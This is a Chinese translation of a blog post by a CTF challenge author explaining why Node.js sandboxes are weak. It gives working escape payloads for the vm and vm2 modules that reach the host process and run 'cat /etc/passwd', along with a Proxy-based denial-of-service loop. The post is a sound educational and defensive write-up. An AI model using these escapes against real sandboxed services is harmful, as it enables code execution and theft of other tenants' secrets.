原文地址:https://pwnisher.gitlab.io/nodejs/sandbox/2019/02/21/sandboxing-nodejs-is-hard.html
背景
我今年为Nullcon HackIM CTF撰写BabyJS的挑战,其想法不是使用如sqli、lfi、rce等常见漏洞类,而是选择一些新颖、有趣的东西。过去在CTF中,有很多关于pathon-jail/python-sandbox的挑战,所以我们想为什么不尝试NodeJs沙箱呢?
就在CTP之后,我想更多的了解当前提供沙箱的NPM包,以及它们受到什么旁路影响。在此篇博文中,我将解释为什么NodeJS的沙箱是个难题,及不能作为一个独立的安全解决方案。
免责声明
我是个javascript新手,远不如那些发现例如this旁路的人。我只是尽力做出解释,如果你认为有任何地方需要改进、补充的,请联系我。
什么是沙箱
沙箱是一个能够安全执行不受信任的代码,且不影响外部实际代码的独立环境。
搜索Node沙箱,出现的第一个模块是Node VM。让我们看看它都提供了什么。
NodeJS VM 模块
VM模块提供在VM虚拟机上下文中编译运行代码的API。使用VM模块可以在沙箱环境中运行代码。运行的代码使用不同的V8上下文,也就是它的全局变量不同于其他代码。
使用VM模块我们可以在独立的环境中运行不受信任的代码,这就意味着运行在沙箱里的代码不能访问Node进程了,对吗?
示例代码:
"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`let a = "welcome!";a;`);
console.log(xyz);
现在我们尝试访问进程
"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`process`);
console.log(xyz);
“process is not defined”,所以默认情况下VM模块不能访问进程,如果想要访问需要指定授权。
恩,看起来默认不能访问“process、require”等就满足需求了,但是真的就没有办法触及主进程并执行代码了?
旁路
"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`this.constructor.constructor('return this.process.env')()`);
console.log(xyz);
解释
在javascript中this指向它所属的对象,所以我们使用它时就已经指向了一个VM上下文之外的对象。那么访问this的.constructor
就返回 Object Constructor
,访问 Object Constructor
的 .constructor
返回 Function constructor
。
Function constructor 就像javascript提供的最高函数,他可以访问全局,所以他能返回全局事物。Function constructor允许从字符串生成函数,从而执行任意代码。
所以我们使用 Function constructor 返回主进程。:)
这招同样对突破Angular同样有效 —— AngularJS 沙箱。
关于 Function constructor 更多内容在这里和这里。
现在我们能用它来访问进程和require,然后进行RCE。
代码执行
"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('cat /etc/passwd').toString()`);
console.log(xyz);
NodeJS VM2 模块
VM2是一款白名单指定Node内置模块运行不受信任代码的沙箱。安全!只提供javascript内置对象和Buffer。默认情况下调度函数(setInterval, setTimeout 和 setImediate)不可用。
VM2工作原理
VM2内部使用VM模块构建安全(上下文)[https://github.com/patriksimek/vm2/blob/master/lib/contextify.js]它使用代理来防止逃逸沙箱。
现在从VM上下文到沙箱的任何东西都可以爬升触达进程。
例如:
"use strict";
const {VM} = require('vm2');
new VM().run('this.constructor.constructor("return process")()');
抛出异常错误,process未被定义。
逃脱
由于VM2对VM上下文的所有内容进行了认证,this关键字不再具有访问constructor属性的权限,所以我们前面的方法不再可用。
对于旁路,我们需要一些沙箱以外的东西,这样就不会限制沙箱上下文,也就能再次访问constructor了。
获胜的例外:
现在在vm里的所有对象都被限制了,我们需要一些来自外部的东西,爬回进程、执行代码。
如果我们在try块中编写错误代码,将导致主进程异常抛错,然后我们通过catch将异常捕获回VM中,然后使用它爬回进程。——或许这就是我们需要去的地方。
const {NodeVM} = require('vm2');
nvm = new NodeVM()
nvm.run(`
try {
this.process.removeListener();
}
catch (host_exception) {
console.log('host exception: ' + host_exception.toString());
host_constructor = host_exception.constructor.constructor;
host_process = host_constructor('return this')().process;
child_process = host_process.mainModule.require("child_process");
console.log(child_process.execSync("cat /etc/passwd").toString());
}`);
在try块中,我们尝试移除当前进程上的监听器 this.process.removeListener()
,这会引起主机异常。由于来自主机的异常在沙箱内传递是与上下文无关的,所以可以爬上树到达 require。
译者注:翻译此文时,执行上面的代码示例,vm2会抛出异常,无法获取require;看来vm2已经修复此漏洞。
关于VM2还有更多新的和创新性的绕过 ——更多逃逸。
除了从沙箱逃逸,还可以使用 infinite while loop
创建无限循环拒绝服务。
const {VM} = require('vm2');
new VM({timeout:1}).run(`
function main(){
while(1){}
}
new Proxy({}, {
getPrototypeOf(t){
global.main();
}
})`
);
感想
运行不信任的代码是很困难的,只依赖软件模块作为沙箱技术,防止不受信任代码用于非正当用途是糟糕的决定。这可能促使云上SAAS应用不安全,因为通过逃逸出沙箱进程多个租户间的数据可能被访问。你可能潜入其他租户session,secret等。一个更安全的选择是依赖于硬件虚拟化,比如每个租户代码在独立的docker容器或AWS Lambada Function 中执行会是更好的选择。
下面是Auth0如何处理沙箱问题:Sandboxing Node.js with CoreOS and Docker